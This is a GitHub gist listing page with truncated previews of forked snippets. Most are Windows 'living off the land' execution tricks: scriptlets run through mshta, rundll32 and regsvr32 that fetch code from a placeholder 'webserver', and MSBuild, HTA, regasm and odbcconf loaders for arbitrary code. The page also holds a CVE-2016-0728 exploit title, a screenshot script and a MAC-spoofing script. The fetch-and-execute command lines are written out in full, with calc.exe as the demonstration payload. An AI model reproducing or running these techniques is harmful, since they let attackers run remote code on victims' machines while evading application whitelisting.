ahhh’s gists

ahhh / regasm.cs

Created December 26, 2017 17:11 — forked from Arno0x/regasm.cs

A DLL that can be called from regasm.exe/regsvc.exe to execute arbitrary code

	/*
	============== Compile ============
	Create Your Strong Name Key -> key.snk

	$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
	$Content = [System.Convert]::FromBase64String($key)
	Set-Content key.snk -Value $Content -Encoding Byte

	C:\Windows\Microsoft.NET\Framewor

ahhh / scriptlet.sct

Created December 26, 2017 17:10 — forked from Arno0x/scriptlet.sct

Scriplet that can be executed by mshta or rundll32 for arbitrary code execution

	<?XML version="1.0"?>
	<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
	<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
	<scriptlet>
	<public>
	</public>
	<script language="JScript">
	<![CDATA[

	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

ahhh / regsvr32.sct

Created December 26, 2017 17:10 — forked from Arno0x/regsvr32.sct

A scriptlet that can be executed by regsvr32.exe for arbitrary code execution

	<?XML version="1.0"?>
	<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
	<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
	<scriptlet>
	<registration
	progid="PoC"
	classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
	<script language="JScript">
	<![CDATA[

ahhh / calc.hta

Created December 26, 2017 17:10 — forked from Arno0x/calc.hta

HTML Application example to be executed by mstha.exe

	<html>
	<head>
	<HTA:APPLICATION ID="HelloExample">
	<script language="jscript">
	var c = "cmd.exe /c calc.exe";
	new ActiveXObject('WScript.Shell').Run(c);
	</script>
	</head>
	<body>
	<script>self.close();</script>

ahhh / msbuild.xml

Created December 26, 2017 17:09 — forked from Arno0x/msbuild.xml

MSBuild project definition to execute arbitrary code from msbuild.exe

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

ahhh / odbcconf.cs

Created December 26, 2017 17:09 — forked from Arno0x/odbcconf.cs

Download and execute arbitrary code with odbcconf.exe

	/*
	To use with odbcconf.exe:

	odbcconf /S /A {REGSVR odbcconf.dll}

	or, from a remote location (if WebDAV support enabled):
	odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
	*/

	using System;

ahhh / Get-ScreenShot.ps1

Last active November 1, 2016 20:11 — forked from guitarrapc/Get-ScreenShot.ps1

Screenshot Automation with PowerShell

	function Get-ScreenShot
	{
	[CmdletBinding()]
	param(
	[parameter(Mandatory = 0)]
	[ValidateNotNullOrEmpty()]
	[Alias('Path', 'Out', 'o')]
	[string]$OutPath = "$env:USERPROFILE\Documents\ScreenShot",

	#screenshot_[yyyyMMdd_HHmmss_ffff].png

ahhh / cve_2016_0728.c

Created January 19, 2016 18:22 — forked from PerceptionPointTeam/cve_2016_0728.c

cve_2016_0728 exploit

ahhh / embeddableclip.html

Created January 16, 2016 07:31 — forked from skopp/embeddableclip.html

A simple way to embed gist into Blogger's dynamic view.

	<!-- to do: make this parse -->

	<div class="clipboardEmbedClip" data-clip-id="LQL1lDhsxPcZfc2h4vuk3E1MpI-5Xc_CPlqe" data-width="782" data-height="763" data-scale="disabled">
	</div>

	<script type="text/javascript">(function() {if (!window.CLIPBOARD \|\| !window.CLIPBOARD.widgets) {var elem = document.createElement("script");elem.type = "text/javascript";elem.async = true;elem.src = "//clipboard.com/js/widgets.js";var s = document.getElementsByTagName("script")[0];s.parentNode.insertBefore(elem, s);}})();
	</script>

ahhh / SpoofMAC

Last active August 29, 2015 14:21 — forked from kevinwallace/SpoofMAC

	#!/bin/sh
	. /etc/rc.common

	StartService ()
	{
	ConsoleMessage "Running SpoofMAC script."
	/usr/sbin/networksetup -setairportpower en0 on
	/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport -z
	/sbin/ifconfig en0 ether `python -c 'import random;print ":".join("%02x" % octet for octet in [random.randint(0,64) << 2] + [random.randint(0,127) for _ in range(5)])'`
	/usr/sbin/networksetup -detectnewhardware

Dan Borges ahhh